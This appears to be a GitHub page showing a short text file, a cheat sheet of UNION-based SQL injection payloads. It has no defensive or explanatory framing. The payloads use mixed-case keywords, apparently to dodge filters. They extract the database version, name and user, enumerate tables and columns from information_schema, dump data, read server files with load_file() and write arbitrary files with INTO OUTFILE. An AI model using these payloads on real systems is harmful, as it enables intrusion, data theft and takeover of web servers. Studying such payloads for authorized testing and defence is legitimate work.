-
-
Notifications
You must be signed in to change notification settings - Fork 302
Expand file tree
/
Copy pathsqli-quries.txt
More file actions
executable file
·32 lines (20 loc) · 760 Bytes
/
sqli-quries.txt
File metadata and controls
executable file
·32 lines (20 loc) · 760 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
General select syntax:
UniOn selEct [number of columns] [comment]
Examples:
We will assume that there are 2 columns and comlumn 2 can be used to display data on screen.
Seleting database version:
UniOn selEct 1,version() /*
Database:
UniOn selEct 1,database() /*
Database user:
UniOn selEct 1,user() /*
Database tables:
UniOn selEct 1,table_name frOm information_schema.tables table_schema = '[database name]' /*
Table Columns:
UniOn selEct 1,column_name frOm information_schema.columns table_name = '[table name]' /*
Selecting data from table:
UniOn selEct 1,[column name] frOm [table name] /*
Reading files:
UniOn selEct 1,load_file('file location') /*
Writing files:
UniOn selEct null,[file content] inTo outfile '/location/to/write/file/to' /*